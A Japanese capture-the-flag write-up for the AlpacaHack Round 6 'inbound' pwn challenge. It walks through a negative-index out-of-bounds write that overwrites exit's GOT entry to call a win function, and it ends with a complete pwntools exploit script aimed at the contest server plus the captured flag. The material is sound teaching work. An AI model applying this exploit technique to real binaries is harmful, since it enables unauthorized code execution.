[pwn] inbound (AlpacaHack Round 6) writeup

---

- Source: AlpacaHack Round 6 (pwn)
- Author: [ptr-yudai](https://x.com/ptrYudai)

---

int型配列に値をセットすることができるバイナリファイルが与えられる。win関数を呼び出せば良い。
```c
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>

int slot[10];

/* Call this function! */
void win() {
  char *args[] = {"/bin/cat", "/flag.txt", NULL};
  execve(args[0], args, NULL);
  exit(1);
}

int main() {
  int index, value;
  setbuf(stdin, NULL);
  setbuf(stdout, NULL);

  printf("index: ");
  scanf("%d", &index);
  if (index >= 10) {
    puts("[-] out-of-bounds");
    exit(1);
  }

  printf("value: ");
  scanf("%d", &value);

  slot[index] = value;

  for (int i = 0; i < 10; i++)
    printf("slot[%d] = %d\n", i, slot[i]);

  exit(0);
}
```

まずはchecksecする。Partial RELROでcanaryとPIEがない。
```sh
$ checksec --file=inbound
RELRO           STACK CANARY      NX            PIE             RPATH      RUNPATH      Symbols         FORTIFY Fortified       Fortifiable     FILE
Partial RELRO   No canary found   NX enabled    No PIE          No RPATH   No RUNPATH   43) Symbols       No    0               1               inbound
```

プログラムを見て気になるのは`slot`がグローバル変数になっていることと、`index`のscanfで10より大きい数は弾かれるが負数は通ってしまうこと。よって、（今回はFull RELROではないので）負数を入力することで`slot`の手前の領域を上書きすることができる。

`slot`の手前に何があるのかをgdbで確認してみる。
```sh
gdb-peda$ p &slot
$2 = (<data variable, no debug info> *) 0x404060 <slot>
gdb-peda$ x/-32wg 0x404060
0x403f60:       0x0000000000000001      0x000000006ffffff0
0x403f70:       0x0000000000400568      0x0000000000000000
0x403f80:       0x0000000000000000      0x0000000000000000
0x403f90:       0x0000000000000000      0x0000000000000000
0x403fa0:       0x0000000000000000      0x0000000000000000
0x403fb0:       0x0000000000000000      0x0000000000000000
0x403fc0:       0x0000000000000000      0x0000000000000000
0x403fd0:       0x0000000000000000      0x00007ffff7db4dc0
0x403fe0:       0x0000000000000000      0x0000000000403e08
0x403ff0:       0x00007ffff7ffe2e0      0x00007ffff7fd8d30
0x404000 <puts@got.plt>:        0x0000000000401030      0x0000000000401040
0x404010 <printf@got.plt>:      0x0000000000401050      0x0000000000401060
0x404020 <__isoc99_scanf@got.plt>:      0x0000000000401070      0x0000000000401080
0x404030:       0x0000000000000000      0x0000000000000000
0x404040 <stdout@GLIBC_2.2.5>:  0x00007ffff7fa6780      0x0000000000000000
0x404050 <stdin@GLIBC_2.2.5>:   0x00007ffff7fa5aa0      0x0000000000000000
```

これはGOT (Global Offset Table) といい、動的リンク、例えばlibcのような外部ライブラリの関数を呼び出す際に使われる関数ポインタなどを格納する領域らしい。ここを書き換えることができるので、GOT Overwriteによるwin関数呼び出しが可能。

`slot`への代入後に呼び出される関数はprintfとexitがある。
```c
  slot[index] = value;

  for (int i = 0; i < 10; i++)
    printf("slot[%d] = %d\n", i, slot[i]);

  exit(0);
```

ちなみに、一度呼び出された関数はアドレスが解決される。libc内のアドレスは一般的に6byteだが、scanfで書き込むのはint型（4byte）なので既に解決されているprintf関数のGOTを上書きしてもwin関数のアドレスを書き込めない。
```sh
$ x/-32wg 0x404060
0x403f60:       0x0000000000000001      0x000000006ffffff0
0x403f70:       0x0000000000400568      0x0000000000000000
0x403f80:       0x0000000000000000      0x0000000000000000
0x403f90:       0x0000000000000000      0x0000000000000000
0x403fa0:       0x0000000000000000      0x0000000000000000
0x403fb0:       0x0000000000000000      0x0000000000000000
0x403fc0:       0x0000000000000000      0x0000000000000000
0x403fd0:       0x0000000000000000      0x00007ffff7db4dc0
0x403fe0:       0x0000000000000000      0x0000000000403e08
0x403ff0:       0x00007ffff7ffe2e0      0x00007ffff7fd8d30
0x404000 <puts@got.plt>:        0x0000000000401030      0x00007ffff7e12fe0
0x404010 <printf@got.plt>:      0x00007ffff7deb6f0      0x0000000000401060
0x404020 <__isoc99_scanf@got.plt>:      0x00007ffff7ded090      0x0000000000401080
0x404030:       0x0000000000000000      0x0000000000000000
0x404040 <stdout@GLIBC_2.2.5>:  0x00007ffff7fa6780      0x0000000000000000
0x404050 <stdin@GLIBC_2.2.5>:   0x00007ffff7fa5aa0      0x0000000000000000
```

以上より、exitのGOTを上書きするという方針で行く。exitのGOTを上書きするためにはindexの値が必要だが、これはpwntoolsでそれぞれのアドレスを取ってきてその差分を4（int型のサイズ）で割ることで求められる。
```py
slot = elf.symbols["slot"]
exit = elf.got["exit"]
index = (exit - slot) // 4
print("index:", index) # -14
```

最終的なpayloadはこうなる。valueはint型なのでアドレスをそのまま渡す必要があることに注意。
```py
#!/usr/bin/env python3  
# -*- coding:utf-8 -* 

from pwn import *
from sys import argv

context.log_level = "debug"  

chall = "./inbound"
elf = ELF(chall)

if len(argv) >= 2 and argv[1] == "remote":  
    p = remote("34.170.146.252", 57285)  
else: 
    # p = gdb.debug(chall, '''
    #     set follow-fork-mode parent
    #     ''')
    p = process(chall)

# offset
slot = elf.symbols["slot"]
exit = elf.got["exit"]
index = (exit - slot) // 4
print("index:", index) # -14

# GOT Overwrite
p.recvuntil("index: ")  
p.sendline(str(index))
p.recvuntil("value: ")
p.sendline(str(elf.symbols["win"]))

p.interactive()
```

flagが得られた。
`Alpaca{p4rt14L_RELRO_1s_A_h4pPy_m0m3Nt}`